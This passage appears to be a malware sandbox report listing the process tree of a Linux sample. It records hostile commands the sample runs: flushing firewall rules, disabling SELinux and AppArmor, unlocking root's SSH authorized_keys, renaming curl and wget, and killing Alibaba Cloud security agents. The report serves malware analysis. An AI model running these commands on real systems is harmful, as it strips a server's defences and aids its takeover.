      Attempts to change immutable files
      PID:1723
  - - /sbin/ip6tables
      ip6tables -Z ufw6-skip-to-policy-forward
      4⤵
      PID:1724
  - - /sbin/ip6tables
      ip6tables -Z ufw6-reject-forward
      4⤵
      PID:1725
  - - /sbin/ip6tables
      ip6tables -Z ufw6-after-logging-forward
      4⤵
      PID:1726
  - - /sbin/ip6tables
      ip6tables -Z ufw6-after-forward
      4⤵
      PID:1727
  - - /sbin/ip6tables
      ip6tables -Z ufw6-user-logging-forward
      4⤵
      PID:1728
  - - /sbin/ip6tables
      ip6tables -Z ufw6-user-forward
      4⤵
      PID:1729
  - - /sbin/ip6tables
      ip6tables -Z ufw6-before-forward
      4⤵
      PID:1730
  - - /sbin/ip6tables
      ip6tables -Z ufw6-before-logging-forward
      4⤵
      PID:1731
  - - /sbin/ip6tables
      ip6tables -Z ufw6-track-forward
      4⤵
      PID:1732
  - - /sbin/ip6tables
      ip6tables -Z ufw6-track-output
      4⤵
      PID:1733
  - - /sbin/ip6tables
      ip6tables -Z ufw6-track-input
      4⤵
      Attempts to change immutable files
      PID:1734
  - - /sbin/ip6tables
      ip6tables -Z ufw6-skip-to-policy-output
      4⤵
      PID:1735
  - - /sbin/ip6tables
      ip6tables -Z ufw6-reject-output
      4⤵
      PID:1736
  - - /sbin/ip6tables
      ip6tables -Z ufw6-after-logging-output
      4⤵
      PID:1737
  - - /sbin/ip6tables
      ip6tables -Z ufw6-after-output
      4⤵
      PID:1738
  - - /sbin/ip6tables
      ip6tables -Z ufw6-user-logging-output
      4⤵
      PID:1739
  - - /sbin/ip6tables
      ip6tables -Z ufw6-user-output
      4⤵
      PID:1740
  - - /sbin/ip6tables
      ip6tables -Z ufw6-before-output
      4⤵
      PID:1741
  - - /sbin/ip6tables
      ip6tables -Z ufw6-before-logging-output
      4⤵
      PID:1742
  - - /sbin/ip6tables
      ip6tables -X ufw6-logging-deny
      4⤵
      PID:1743
  - - /sbin/ip6tables
      ip6tables -X ufw6-logging-allow
      4⤵
      PID:1744
  - - /sbin/ip6tables
      ip6tables -X ufw6-not-local
      4⤵
      PID:1745
  - - /sbin/ip6tables
      ip6tables -X ufw6-user-logging-input
      4⤵
      PID:1746
  - - /sbin/ip6tables
      ip6tables -X ufw6-user-logging-output
      4⤵
      PID:1747
  - - /sbin/ip6tables
      ip6tables -X ufw6-user-logging-forward
      4⤵
      PID:1748
  - - /sbin/ip6tables
      ip6tables -X ufw6-user-limit-accept
      4⤵
      PID:1749
  - - /sbin/ip6tables
      ip6tables -X ufw6-user-limit
      4⤵
      PID:1750
  - - /sbin/ip6tables
      ip6tables -X ufw6-user-input
      4⤵
      PID:1751
  - - /sbin/ip6tables
      ip6tables -X ufw6-user-forward
      4⤵
      PID:1752
  - - /sbin/ip6tables
      ip6tables -X ufw6-user-output
      4⤵
      PID:1753
  - - /sbin/ip6tables
      ip6tables -X ufw6-skip-to-policy-input
      4⤵
      PID:1754
  - - /sbin/ip6tables
      ip6tables -X ufw6-skip-to-policy-output
      4⤵
      PID:1755
  - - /sbin/ip6tables
      ip6tables -X ufw6-skip-to-policy-forward
      4⤵
      PID:1756
  - - /sbin/ip6tables
      ip6tables -P INPUT ACCEPT
      4⤵
      PID:1757
  - - /sbin/ip6tables
      ip6tables -P OUTPUT ACCEPT
      4⤵
      PID:1758
  - - /sbin/ip6tables
      ip6tables -P FORWARD ACCEPT
      4⤵
      PID:1759
- /sbin/iptables
  iptables -F
  2⤵
  - Flushes firewall rules
  PID:1760
- /sbin/sysctl
  sysctl "kernel.nmi_watchdog=0"
  2⤵
  PID:1761
- /usr/bin/chattr
  chattr -iae /root/.ssh/
  2⤵
  - Attempts to change immutable files
  PID:1762
- /usr/bin/chattr
  chattr -iae /root/.ssh/authorized_keys
  2⤵
  PID:1763
- /bin/rm
  rm -rf "/tmp/addres*"
  2⤵
  PID:1764
- /bin/rm
  rm -rf "/tmp/walle*"
  2⤵
  PID:1765
- /bin/rm
  rm -rf /tmp/keys
  2⤵
  PID:1766
- /bin/cat
  cat /var/spool/cron/1
  2⤵
  PID:1767
- /bin/cat
  cat /root/.ssh/authorized_keys
  2⤵
  PID:1768
- /bin/mv
  mv /usr/bin/wgettnt /usr/bin/wd1
  2⤵
  PID:1769
- /bin/mv
  mv /usr/bin/curltnt /usr/bin/cd1
  2⤵
  PID:1770
- /bin/mv
  mv /usr/bin/wget1 /usr/bin/wd1
  2⤵
  PID:1771
- /bin/mv
  mv /usr/bin/curl1 /usr/bin/cd1
  2⤵
  PID:1772
- /bin/mv
  mv /usr/bin/cur /usr/bin/cd1
  2⤵
  PID:1773
- /bin/mv
  mv /usr/bin/cdl /usr/bin/cd1
  2⤵
  PID:1774
- /bin/mv
  mv /usr/bin/cdt /usr/bin/cd1
  2⤵
  PID:1775
- /bin/mv
  mv /usr/bin/xget /usr/bin/wd1
  2⤵
  PID:1776
- /bin/mv
  mv /usr/bin/wge /usr/bin/wd1
  2⤵
  PID:1777
- /bin/mv
  mv /usr/bin/wdl /usr/bin/wd1
  2⤵
  PID:1778
- /bin/mv
  mv /usr/bin/wdt /usr/bin/wd1
  2⤵
  PID:1779
- /bin/mv
  mv /usr/bin/wget /usr/bin/wd1
  2⤵
  PID:1780
- /bin/mv
  mv /usr/bin/curl /usr/bin/cd1
  2⤵
  PID:1781
- /bin/grep
  grep -i "[a]liyun"
  2⤵
  PID:1783
- /bin/ps
  ps aux
  2⤵
  PID:1782
- /bin/grep
  grep -i "[y]unjing"
  2⤵
  PID:1785
- /bin/ps
  ps aux
  2⤵
  PID:1784
- /usr/sbin/setenforce
  setenforce 0
  2⤵
  - Disables SELinux
  PID:1786
- /usr/sbin/service
  service apparmor stop
  2⤵
  PID:1787
- - /usr/bin/basename
    basename /usr/sbin/service
    3⤵
    PID:1788
- - /usr/bin/basename
    basename /usr/sbin/service
    3⤵
    PID:1789
- - /bin/systemctl
    systemctl --quiet is-active multi-user.target
    3⤵
    PID:1790
- - /bin/systemctl
    systemctl -p Triggers show acpid.socket
    3⤵
    PID:1801
- - /bin/systemctl
    systemctl -p Triggers show apport-forward.socket
    3⤵
    PID:1802
- - /bin/systemctl
    systemctl -p Triggers show avahi-daemon.socket
    3⤵
    PID:1803
- - /bin/systemctl
    systemctl -p Triggers show cups.socket
    3⤵
    PID:1804
- - /bin/systemctl
    systemctl -p Triggers show dbus.socket
    3⤵
    PID:1805
- - /bin/systemctl
    systemctl -p Triggers show saned.socket
    3⤵
    PID:1806
- - /bin/systemctl
    systemctl -p Triggers show snapd.socket
    3⤵
    PID:1807
- - /bin/systemctl
    systemctl -p Triggers show ssh.socket
    3⤵
    PID:1808
- - /bin/systemctl
    systemctl -p Triggers show syslog.socket
    3⤵
    PID:1809
- - /bin/systemctl
    systemctl -p Triggers show systemd-fsckd.socket
    3⤵
    PID:1810
- - /bin/systemctl
    systemctl -p Triggers show systemd-initctl.socket
    3⤵
    - Attempts to change immutable files
    PID:1811
- - /bin/systemctl
    systemctl -p Triggers show systemd-journald-audit.socket
    3⤵
    PID:1812
- - /bin/systemctl
    systemctl -p Triggers show systemd-journald-dev-log.socket
    3⤵
    PID:1813
- - /bin/systemctl
    systemctl -p Triggers show systemd-journald.socket
    3⤵
    PID:1814
- - /bin/systemctl
    systemctl -p Triggers show systemd-networkd.socket
    3⤵
    PID:1815
- - /bin/systemctl
    systemctl -p Triggers show systemd-rfkill.socket
    3⤵
    PID:1816
- - /bin/systemctl
    systemctl -p Triggers show systemd-udevd-control.socket
    3⤵
    PID:1817
- - /bin/systemctl
    systemctl -p Triggers show systemd-udevd-kernel.socket
    3⤵
    PID:1818
- - /bin/systemctl
    systemctl -p Triggers show uuidd.socket
    3⤵
    PID:1819
- /usr/local/sbin/systemctl
  systemctl stop apparmor.service
  2⤵
  - Disables AppArmor
  PID:1787
- /usr/local/bin/systemctl
  systemctl stop apparmor.service
  2⤵
  PID:1787
- /usr/sbin/systemctl
  systemctl stop apparmor.service
  2⤵
  - Disables AppArmor
  PID:1787
- /usr/bin/systemctl
  systemctl stop apparmor.service
  2⤵
  - Disables AppArmor
  PID:1787
- /sbin/systemctl
  systemctl stop apparmor.service
  2⤵
  - Disables AppArmor
  PID:1787
- /bin/systemctl
  systemctl stop apparmor.service
  2⤵
  - Disables AppArmor
  PID:1787
- /bin/systemctl
  systemctl disable apparmor
  2⤵
  PID:1831
- - /lib/systemd/systemd-sysv-install
    /lib/systemd/systemd-sysv-install disable apparmor
    3⤵
    PID:1832
  - - /usr/bin/getopt
      getopt -o r: --long root: -- disable apparmor
      4⤵
      PID:1833
  - - /usr/sbin/update-rc.d
      /usr/sbin/update-rc.d apparmor defaults
      4⤵
      PID:1834
    - - /usr/local/sbin/systemctl
        
        systemctl daemon-reload
        5⤵
        
        PID:1835
    - - /usr/local/bin/systemctl
        
        systemctl daemon-reload
        5⤵
        Disables AppArmor
        
        PID:1835
    - - /usr/sbin/systemctl
        
        systemctl daemon-reload
        5⤵
        Disables AppArmor
        
        PID:1835
    - - /usr/bin/systemctl
        
        systemctl daemon-reload
        5⤵
        Disables AppArmor
        
        PID:1835
    - - /sbin/systemctl
        
        systemctl daemon-reload
        5⤵
        
        PID:1835
    - - /bin/systemctl
        
        systemctl daemon-reload
        5⤵
        Disables AppArmor
        
        PID:1835
  - - /usr/sbin/update-rc.d
      /usr/sbin/update-rc.d apparmor disable
      4⤵
      Flushes firewall rules
      PID:1856
    - - /usr/local/sbin/systemctl
        
        systemctl daemon-reload
        5⤵
        
        PID:1857
    - - /usr/local/bin/systemctl
        
        systemctl daemon-reload
        5⤵
        
        PID:1857
    - - /usr/sbin/systemctl
        
        systemctl daemon-reload
        5⤵
        
        PID:1857
    - - /usr/bin/systemctl
        
        systemctl daemon-reload
        5⤵
        
        PID:1857
    - - /sbin/systemctl
        
        systemctl daemon-reload
        5⤵
        
        PID:1857
    - - /bin/systemctl
        
        systemctl daemon-reload
        5⤵
        
        PID:1857
- /usr/sbin/service
  service aliyun.service stop
  2⤵
  PID:1898
- - /usr/bin/basename
    basename /usr/sbin/service
    3⤵
    PID:1899
- - /usr/bin/basename
    basename /usr/sbin/service
    3⤵
    PID:1900
- - /bin/systemctl
    systemctl --quiet is-active multi-user.target
    3⤵
    - Disables AppArmor
    PID:1901
- - /bin/systemctl
    systemctl -p Triggers show acpid.socket
    3⤵
    - Disables AppArmor
    PID:1915
- - /bin/systemctl
    systemctl -p Triggers show apport-forward.socket
    3⤵
    PID:1916
- - /bin/systemctl
    systemctl -p Triggers show avahi-daemon.socket
    3⤵
    PID:1917
- - /bin/systemctl
    systemctl -p Triggers show cups.socket
    3⤵
    - Disables AppArmor
    PID:1918
- - /bin/systemctl
    systemctl -p Triggers show dbus.socket
    3⤵
    PID:1919
- - /bin/systemctl
    systemctl -p Triggers show saned.socket
    3⤵
    PID:1920
- - /bin/systemctl
    systemctl -p Triggers show snapd.socket
    3⤵
    - Disables AppArmor
    PID:1921
- - /bin/systemctl
    systemctl -p Triggers show ssh.socket
    3⤵
    PID:1922
- - /bin/systemctl
    systemctl -p Triggers show syslog.socket
    3⤵
    PID:1923
- - /bin/systemctl
    systemctl -p Triggers show systemd-fsckd.socket
    3⤵
    PID:1924
- - /bin/systemctl
    systemctl -p Triggers show systemd-initctl.socket
    3⤵
    PID:1925
- - /bin/systemctl
    systemctl -p Triggers show systemd-journald-audit.socket
    3⤵
    - Disables AppArmor
    PID:1926
- - /bin/systemctl
    systemctl -p Triggers show systemd-journald-dev-log.socket
    3⤵
    PID:1927
- - /bin/systemctl
    systemctl -p Triggers show systemd-journald.socket
    3⤵
    - Disables AppArmor
    PID:1928
- - /bin/systemctl
    systemctl -p Triggers show systemd-networkd.socket
    3⤵
    PID:1929
- - /bin/systemctl
    systemctl -p Triggers show systemd-rfkill.socket
    3⤵
    - Disables AppArmor
    PID:1930
- - /bin/systemctl
    systemctl -p Triggers show systemd-udevd-control.socket
    3⤵
    - Disables AppArmor
    PID:1931
- - /bin/systemctl
    systemctl -p Triggers show systemd-udevd-kernel.socket
    3⤵
    PID:1932
- - /bin/systemctl
    systemctl -p Triggers show uuidd.socket
    3⤵
    PID:1933
- /usr/local/sbin/systemctl
  systemctl stop aliyun.service.service
  2⤵
  PID:1898
- /usr/local/bin/systemctl
  systemctl stop aliyun.service.service
  2⤵
  PID:1898
- /usr/sbin/systemctl
  systemctl stop aliyun.service.service
  2⤵
  PID:1898
- /usr/bin/systemctl
  systemctl stop aliyun.service.service
  2⤵
  PID:1898
- /sbin/systemctl
  systemctl stop aliyun.service.service
  2⤵
  PID:1898
- /bin/systemctl
  systemctl stop aliyun.service.service
  2⤵
  - Disables AppArmor
  PID:1898
- /bin/systemctl
  systemctl disable aliyun.service
  2⤵
  - Disables AppArmor
  PID:1934
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1939
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1938
- /bin/grep
  grep aegis
  2⤵
  PID:1937
- /bin/grep
  grep -v grep
  2⤵
  PID:1936
- /bin/ps
  ps aux
  2⤵
  PID:1935
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1944
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1943
- /bin/grep
  grep Yun
  2⤵
  PID:1942
- /bin/grep
  grep -v grep
  2⤵
  PID:1941
- /bin/ps
  ps aux
  2⤵
  - Reads runtime system information
  PID:1940
- /bin/rm
  rm -rf /usr/local/aegis
  2⤵
  PID:1945
- /bin/rm
  rm -f /tmp/.null
  2⤵
  PID:1946
- /bin/sleep
  sleep 1
  2⤵
  PID:1947
- /usr/bin/apt-get
  apt-get install -y unhide
  2⤵
  - Deletes log files
  - Writes file to tmp directory
  PID:1949
- - /usr/bin/dpkg
    /usr/bin/dpkg --print-foreign-architectures
    3⤵
    PID:1950
- - /usr/bin/dpkg
    /usr/bin/dpkg --print-foreign-architectures
    3⤵
    PID:1951
- - /usr/lib/apt/methods/http
    /usr/lib/apt/methods/http
    3⤵
    PID:1952
- - /usr/lib/apt/methods/http
    /usr/lib/apt/methods/http
    3⤵
    PID:1953
- - /bin/sh
    /bin/sh -c "/usr/sbin/dpkg-preconfigure --apt || true"
    3⤵
    PID:1954
  - - /usr/sbin/dpkg-preconfigure
      /usr/sbin/dpkg-preconfigure --apt
      4⤵
      PID:1955
    - - /usr/local/sbin/locale
        
        locale charmap
        5⤵
        
        PID:1956
    - - /usr/local/bin/locale
        
        locale charmap
        5⤵
        
        PID:1956
    - - /usr/sbin/locale
        
        locale charmap
        5⤵
        
        PID:1956
    - - /usr/bin/locale
        
        locale charmap
        5⤵
        
        PID:1956
- - /usr/bin/dpkg
    /usr/bin/dpkg --assert-multi-arch
    3⤵
    PID:1962
- - /usr/bin/dpkg
    /usr/bin/dpkg --status-fd 57 --no-triggers --unpack --auto-deconfigure /var/cache/apt/archives/unhide_20130526-1_amd64.deb
    3⤵
    - Write file to user bin folder
    PID:1963
  - - /usr/local/sbin/dpkg-split
      dpkg-split -Qao /var/lib/dpkg/reassemble.deb /var/cache/apt/archives/unhide_20130526-1_amd64.deb
      4⤵
      PID:1964
  - - /usr/local/bin/dpkg-split
      dpkg-split -Qao /var/lib/dpkg/reassemble.deb /var/cache/apt/archives/unhide_20130526-1_amd64.deb
      4⤵
      PID:1964
  - - /usr/sbin/dpkg-split
      dpkg-split -Qao /var/lib/dpkg/reassemble.deb /var/cache/apt/archives/unhide_20130526-1_amd64.deb
      4⤵
      PID:1964
  - - /usr/bin/dpkg-split
      dpkg-split -Qao /var/lib/dpkg/reassemble.deb /var/cache/apt/archives/unhide_20130526-1_amd64.deb
      4⤵
      PID:1964
  - - /usr/local/sbin/dpkg-deb
      dpkg-deb --control /var/cache/apt/archives/unhide_20130526-1_amd64.deb /var/lib/dpkg/tmp.ci
      4⤵
      PID:1965
  - - /usr/local/bin/dpkg-deb
      dpkg-deb --control /var/cache/apt/archives/unhide_20130526-1_amd64.deb /var/lib/dpkg/tmp.ci
      4⤵
      PID:1965
  - - /usr/sbin/dpkg-deb
      dpkg-deb --control /var/cache/apt/archives/unhide_20130526-1_amd64.deb /var/lib/dpkg/tmp.ci
      4⤵
      PID:1965
  - - /usr/bin/dpkg-deb
      dpkg-deb --control /var/cache/apt/archives/unhide_20130526-1_amd64.deb /var/lib/dpkg/tmp.ci
      4⤵
      PID:1965
    - - /usr/local/sbin/tar
        
        tar -x -f - "--warning=no-timestamp"
        5⤵
        
        PID:1968
    - - /usr/local/bin/tar
        
        tar -x -f - "--warning=no-timestamp"
        5⤵
        
        PID:1968
    - - /usr/sbin/tar
        
        tar -x -f - "--warning=no-timestamp"
        5⤵
        
        PID:1968
    - - /usr/bin/tar
        
        tar -x -f - "--warning=no-timestamp"
        5⤵
        
        PID:1968
    - - /sbin/tar
        
        tar -x -f - "--warning=no-timestamp"
        5⤵
        
        PID:1968
    - - /bin/tar
        
        tar -x -f - "--warning=no-timestamp"
        5⤵
        
        PID:1968
  - - /usr/local/sbin/dpkg-deb
      dpkg-deb --fsys-tarfile /var/cache/apt/archives/unhide_20130526-1_amd64.deb
      4⤵
      PID:1969
  - - /usr/local/bin/dpkg-deb
      dpkg-deb --fsys-tarfile /var/cache/apt/archives/unhide_20130526-1_amd64.deb
      4⤵
      PID:1969
  - - /usr/sbin/dpkg-deb
      dpkg-deb --fsys-tarfile /var/cache/apt/archives/unhide_20130526-1_amd64.deb
      4⤵
      PID:1969
  - - /usr/bin/dpkg-deb
      dpkg-deb --fsys-tarfile /var/cache/apt/archives/unhide_20130526-1_amd64.deb
      4⤵
      PID:1969
  - - /usr/local/sbin/rm
      rm -rf -- /var/lib/dpkg/tmp.ci
      4⤵
      PID:1972
  - - /usr/local/bin/rm
      rm -rf -- /var/lib/dpkg/tmp.ci
      4⤵
      PID:1972
  - - /usr/sbin/rm
      rm -rf -- /var/lib/dpkg/tmp.ci
      4⤵
      PID:1972
  - - /usr/bin/rm
      rm -rf -- /var/lib/dpkg/tmp.ci
      4⤵
      PID:1972
  - - /sbin/rm
      rm -rf -- /var/lib/dpkg/tmp.ci
      4⤵
      PID:1972
  - - /bin/rm
      rm -rf -- /var/lib/dpkg/tmp.ci
      4⤵
      PID:1972
- - /usr/bin/dpkg
    /usr/bin/dpkg --status-fd 57 --configure --pending
    3⤵
    PID:1973
  - - /var/lib/dpkg/info/unhide.postinst
      /var/lib/dpkg/info/unhide.postinst configure
      4⤵
      PID:1974
  - - /var/lib/dpkg/info/man-db.postinst
      /var/lib/dpkg/info/man-db.postinst triggered /usr/share/man
      4⤵
      PID:1975
    - - /usr/bin/perl
        
        perl -e "@pwd = getpwnam(\"man\"); \$) = \$( = \$pwd[3]; \$> = \$< = \$pwd[2]; exec \"/usr/bin/mandb\", @ARGV" -- -pq
        5⤵
        
        PID:1976
    - - /usr/bin/mandb
        
        /usr/bin/mandb -pq
        5⤵
        
        PID:1976
- - /usr/bin/dpkg
    /usr/bin/dpkg --print-foreign-architectures
    3⤵
    PID:1993
- - /usr/bin/dpkg
    /usr/bin/dpkg --print-foreign-architectures
    3⤵
    PID:1994
- - /usr/bin/dpkg
    /usr/bin/dpkg --print-foreign-architectures
    3⤵
    PID:1995
- /usr/bin/apt-get
  apt-get install -y gawk
  2⤵
  - Writes file to tmp directory
  PID:2027
- - /usr/bin/dpkg
    /usr/bin/dpkg --print-foreign-architectures
    3⤵
    PID:2028
- - /usr/bin/dpkg
    /usr/bin/dpkg --print-foreign-architectures
    3⤵
    PID:2029
- /bin/sleep
  sleep 1
  2⤵
  PID:2031
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:2035
- /usr/bin/awk
  awk "{print \$4}"
  2⤵
  PID:2034
- /bin/grep
  grep PID:
  2⤵
  PID:2033
- /usr/sbin/unhide
  /usr/sbin/unhide quick
  2⤵
  - Reads runtime system information
  PID:2032
- - /bin/sh
    sh -c "ps --no-header -p 1 o pid"
    3⤵
    PID:2036
  - - /bin/ps
      ps --no-header -p 1 o pid
      4⤵
      PID:2037
- - /bin/sh
    sh -c "ps --no-header -p 2 o pid"
    3⤵
    PID:2038
  - - /bin/ps
      ps --no-header -p 2 o pid
      4⤵
      PID:2039
- - /bin/sh
    sh -c "ps --no-header -p 3 o pid"
    3⤵
    PID:2040
  - - /bin/ps
      ps --no-header -p 3 o pid
      4⤵
      PID:2041
- - /bin/sh
    sh -c "ps --no-header -p 4 o pid"
    3⤵
    PID:2042
  - - /bin/ps
      ps --no-header -p 4 o pid
      4⤵
      PID:2043
- - /bin/sh
    sh -c "ps --no-header -p 5 o pid"
    3⤵
    PID:2044
  - - /bin/ps
      ps --no-header -p 5 o pid
      4⤵
      PID:2045
- - /bin/sh
    sh -c "ps --no-header -p 6 o pid"
    3⤵
    PID:2046
  - - /bin/ps
      ps --no-header -p 6 o pid
      4⤵
      PID:2047
- - /bin/sh
    sh -c "ps --no-header -p 7 o pid"
    3⤵
    PID:2048
  - - /bin/ps
      ps --no-header -p 7 o pid
      4⤵
      PID:2049
- - /bin/sh
    sh -c "ps --no-header -p 8 o pid"
    3⤵
    PID:2050
  - - /bin/ps
      ps --no-header -p 8 o pid
      4⤵
      PID:2051
- - /bin/sh
    sh -c "ps --no-header -p 9 o pid"
    3⤵
    PID:2052
  - - /bin/ps
      ps --no-header -p 9 o pid
      4⤵
      PID:2053
- - /bin/sh
    sh -c "ps --no-header -p 10 o pid"
    3⤵
    PID:2054
  - - /bin/ps
      ps --no-header -p 10 o pid
      4⤵
      PID:2055
- - /bin/sh
    sh -c "ps --no-header -p 11 o pid"
    3⤵
    PID:2056
  - - /bin/ps
      ps --no-header -p 11 o pid
      4⤵
      PID:2057
- - /bin/sh
    sh -c "ps --no-header -p 12 o pid"
    3⤵
    PID:2058
  - - /bin/ps
      ps --no-header -p 12 o pid
      4⤵
      PID:2059
- - /bin/sh
    sh -c "ps --no-header -p 13 o pid"
    3⤵
    PID:2060
  - - /bin/ps
      ps --no-header -p 13 o pid
      4⤵
      PID:2061
- - /bin/sh
    sh -c "ps --no-header -p 14 o pid"
    3⤵
    PID:2062
  - - /bin/ps
      ps --no-header -p 14 o pid
      4⤵
      PID:2063
- - /bin/sh
    sh -c "ps --no-header -p 15 o pid"
    3⤵
    PID:2064
  - - /bin/ps
      ps --no-header -p 15 o pid
      4⤵
      PID:2065
- - /bin/sh
    sh -c "ps --no-header -p 16 o pid"
    3⤵
    PID:2066
  - - /bin/ps
      ps --no-header -p 16 o pid
      4⤵
      PID:2067
- - /bin/sh
    sh -c "ps --no-header -p 17 o pid"
    3⤵
    PID:2068
  - - /bin/ps
      ps --no-header -p 17 o pid
      4⤵
      PID:2069
- - /bin/sh
    sh -c "ps --no-header -p 18 o pid"
    3⤵
    PID:2070
  - - /bin/ps
      ps --no-header -p 18 o pid
      4⤵
      PID:2071
- - /bin/sh
    sh -c "ps --no-header -p 19 o pid"
    3⤵
    PID:2072
  - - /bin/ps
      ps --no-header -p 19 o pid
      4⤵
      PID:2073
- - /bin/sh
    sh -c "ps --no-header -p 20 o pid"
    3⤵
    PID:2074
  - - /bin/ps
      ps --no-header -p 20 o pid
      4⤵
      PID:2075
- - /bin/sh
    sh -c "ps --no-header -p 21 o pid"
    3⤵
    PID:2076
  - - /bin/ps
      ps --no-header -p 21 o pid
      4⤵
      PID:2077
- - /bin/sh
    sh -c "ps --no-header -p 22 o pid"
    3⤵
    PID:2078
  - - /bin/ps
      ps --no-header -p 22 o pid
      4⤵
      PID:2079
- - /bin/sh
    sh -c "ps --no-header -p 23 o pid"
    3⤵
    PID:2080
  - - /bin/ps
      ps --no-header -p 23 o pid
      4⤵
      PID:2081
- - /bin/sh
    sh -c "ps --no-header -p 24 o pid"
    3⤵
    PID:2082
  - - /bin/ps
      ps --no-header -p 24 o pid
      4⤵
      PID:2083
- - /bin/sh
    sh -c "ps --no-header -p 25 o pid"
    3⤵
    PID:2084
  - - /bin/ps
      ps --no-header -p 25 o pid
      4⤵
      PID:2085
- - /bin/sh
    sh -c "ps --no-header -p 26 o pid"
    3⤵
    PID:2086
  - - /bin/ps
      ps --no-header -p 26 o pid
      4⤵
      PID:2087
- - /bin/sh
    sh -c "ps --no-header -p 27 o pid"
    3⤵
    PID:2088
  - - /bin/ps
      ps --no-header -p 27 o pid
      4⤵
      PID:2089
- - /bin/sh
    sh -c "ps --no-header -p 28 o pid"
    3⤵
    PID:2090
  - - /bin/ps
      ps --no-header -p 28 o pid
      4⤵
      PID:2091
- - /bin/sh
    sh -c "ps --no-header -p 29 o pid"
    3⤵
    PID:2092
  - - /bin/ps
      ps --no-header -p 29 o pid
      4⤵
      PID:2093
- - /bin/sh
    sh -c "ps --no-header -p 30 o pid"
    3⤵
    PID:2094
  - - /bin/ps
      ps --no-header -p 30 o pid
      4⤵
      PID:2095
- - /bin/sh
    sh -c "ps --no-header -p 31 o pid"
    3⤵
    PID:2096
  - - /bin/ps
      ps --no-header -p 31 o pid
      4⤵
      PID:2097
- - /bin/sh
    sh -c "ps --no-header -p 32 o pid"
    3⤵
    PID:2098
  - - /bin/ps
      ps --no-header -p 32 o pid
      4⤵
      PID:2099
- - /bin/sh
    sh -c "ps --no-header -p 34 o pid"
    3⤵
    PID:2100
  - - /bin/ps
      ps --no-header -p 34 o pid
      4⤵
      PID:2101
- - /bin/sh
    sh -c "ps --no-header -p 35 o pid"
    3⤵
    PID:2102
  - - /bin/ps
      ps --no-header -p 35 o pid
      4⤵
      PID:2103
- - /bin/sh
    sh -c "ps --no-header -p 36 o pid"
    3⤵
    PID:2104
  - - /bin/ps
      ps --no-header -p 36 o pid
      4⤵
      PID:2105
- - /bin/sh
    sh -c "ps --no-header -p 78 o pid"
    3⤵
    PID:2106
  - - /bin/ps
      ps --no-header -p 78 o pid
      4⤵
      PID:2107
- - /bin/sh
    sh -c "ps --no-header -p 79 o pid"
    3⤵
    PID:2108
  - - /bin/ps
      ps --no-header -p 79 o pid
      4⤵
      PID:2109
- - /bin/sh
    sh -c "ps --no-header -p 80 o pid"
    3⤵
    PID:2110
  - - /bin/ps
      ps --no-header -p 80 o pid
      4⤵
      PID:2111
- - /bin/sh
    sh -c "ps --no-header -p 81 o pid"
    3⤵
    PID:2112
  - - /bin/ps
      ps --no-header -p 81 o pid
      4⤵
      PID:2113
- - /bin/sh
    sh -c "ps --no-header -p 82 o pid"
    3⤵
    PID:2114
  - - /bin/ps
      ps --no-header -p 82 o pid
      4⤵
      PID:2115
- - /bin/sh
    sh -c "ps --no-header -p 83 o pid"
    3⤵
    PID:2116
  - - /bin/ps
      ps --no-header -p 83 o pid
      4⤵
      PID:2117
- - /bin/sh
    sh -c "ps --no-header -p 84 o pid"
    3⤵
    PID:2118
  - - /bin/ps
      ps --no-header -p 84 o pid
      4⤵
      PID:2119
- - /bin/sh
    sh -c "ps --no-header -p 85 o pid"
    3⤵
    PID:2120
  - - /bin/ps
      ps --no-header -p 85 o pid
      4⤵
      PID:2121
- - /bin/sh
    sh -c "ps --no-header -p 89 o pid"
    3⤵
    PID:2122
  - - /bin/ps
      ps --no-header -p 89 o pid
      4⤵
      Reads runtime system information
      PID:2123
- - /bin/sh
    sh -c "ps --no-header -p 98 o pid"
    3⤵
    PID:2124
  - - /bin/ps
      ps --no-header -p 98 o pid
      4⤵
      PID:2125
- - /bin/sh
    sh -c "ps --no-header -p 115 o pid"
    3⤵
    PID:2126
  - - /bin/ps
      ps --no-header -p 115 o pid
      4⤵
      PID:2127
- - /bin/sh
    sh -c "ps --no-header -p 127 o pid"
    3⤵
    PID:2128
  - - /bin/ps
      ps --no-header -p 127 o pid
      4⤵
      PID:2129
- - /bin/sh
    sh -c "ps --no-header -p 173 o pid"
    3⤵
    PID:2130
  - - /bin/ps
      ps --no-header -p 173 o pid
      4⤵
      PID:2131
- - /bin/sh
    sh -c "ps --no-header -p 174 o pid"
    3⤵
    PID:2132
  - - /bin/ps
      ps --no-header -p 174 o pid
      4⤵
      PID:2133
- - /bin/sh
    sh -c "ps --no-header -p 175 o pid"
    3⤵
    PID:2134
  - - /bin/ps
      ps --no-header -p 175 o pid
      4⤵
      PID:2135
- - /bin/sh
    sh -c "ps --no-header -p 176 o pid"
    3⤵
    PID:2136
  - - /bin/ps
      ps --no-header -p 176 o pid
      4⤵
      PID:2137
- - /bin/sh
    sh -c "ps --no-header -p 177 o pid"
    3⤵
    PID:2138
  - - /bin/ps
      ps --no-header -p 177 o pid
      4⤵
      PID:2139
- - /bin/sh
    sh -c "ps --no-header -p 178 o pid"
    3⤵
    PID:2140
  - - /bin/ps
      ps --no-header -p 178 o pid
      4⤵
      PID:2141
- - /bin/sh
    sh -c "ps --no-header -p 179 o pid"
    3⤵
    PID:2142
  - - /bin/ps
      ps --no-header -p 179 o pid
      4⤵
      PID:2143
- - /bin/sh
    sh -c "ps --no-header -p 180 o pid"
    3⤵
    PID:2144
  - - /bin/ps
      ps --no-header -p 180 o pid
      4⤵
      PID:2145
- - /bin/sh
    sh -c "ps --no-header -p 181 o pid"
    3⤵
    PID:2146
  - - /bin/ps
      ps --no-header -p 181 o pid
      4⤵
      PID:2147
- - /bin/sh
    sh -c "ps --no-header -p 182 o pid"
    3⤵
    PID:2148
  - - /bin/ps
      ps --no-header -p 182 o pid
      4⤵
      Reads CPU attributes
      PID:2149
- - /bin/sh
    sh -c "ps --no-header -p 183 o pid"
    3⤵
    PID:2150
  - - /bin/ps
      ps --no-header -p 183 o pid
      4⤵
      Reads CPU attributes
      PID:2151
- - /bin/sh
    sh -c "ps --no-header -p 184 o pid"
    3⤵
    PID:2152
  - - /bin/ps
      ps --no-header -p 184 o pid
      4⤵
      PID:2153
- - /bin/sh
